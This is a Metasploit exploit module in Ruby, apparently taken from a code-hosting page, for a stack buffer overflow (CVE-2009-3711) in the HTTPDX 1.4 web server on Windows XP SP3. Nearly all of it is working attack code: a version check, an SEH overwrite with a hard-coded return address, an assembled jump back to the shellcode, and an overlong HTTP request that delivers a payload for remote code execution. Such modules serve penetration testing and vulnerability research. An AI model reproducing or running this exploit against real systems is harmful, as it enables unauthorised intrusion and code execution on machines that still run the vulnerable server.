134 lines
3.6 KiB
Ruby
134 lines
3.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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##
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# httpdx_handlepeer.rb
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#
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# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms
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# - HTTPDX 1.4 on Microsoft Windows XP SP3
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#
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# This vulnerability was found by Pankaj Kohli, see references.
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
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vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
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By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
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},
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'Author' =>
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[
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'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]
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'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
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'jduck'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
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[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
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[ 'OSVDB', '58714' ],
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[ 'CVE', '2009-3711' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 476,
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# other characters get mangled, but only in a temporary buffer
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'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
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'StackAdjustment' => -3500,
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# 'DisableNops' => 'True'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'httpdx 1.4 - Windows XP SP3 English',
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{
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'Offset' => 476,
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'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
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'Readable' => 0x63b80131 # early in n.dll
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}
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]
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],
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(80) ], self.class )
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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# this will need to be updated if httpdx is ever fixed :)
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if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
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print_status("HTTPDX version detected : #{m[1]}")
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if m[1] =~ /"1\.4"/
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return Exploit::CheckCode::Appears
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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uri = payload.encoded
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if target['Offset'] > payload_space
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pad = target['Offset'] - payload_space
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uri << rand_text(pad)
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end
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uri << generate_seh_record(target.ret)
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# jmp back to shellcode
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uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
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# extra causing hitting end of the stack
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uri << rand_text_alphanumeric(1024)
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uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
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sploit = rand_text(3) + "=" + uri
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request = "GET /" + sploit + " HTTP/1.1\r\n"
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# an empty host header gives us 512 bytes in the client structure
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# (client->filereq and client->host)
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request << "Host: \r\n"
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request << "\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(request)
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sock.close
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disconnect
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handler
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end
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end
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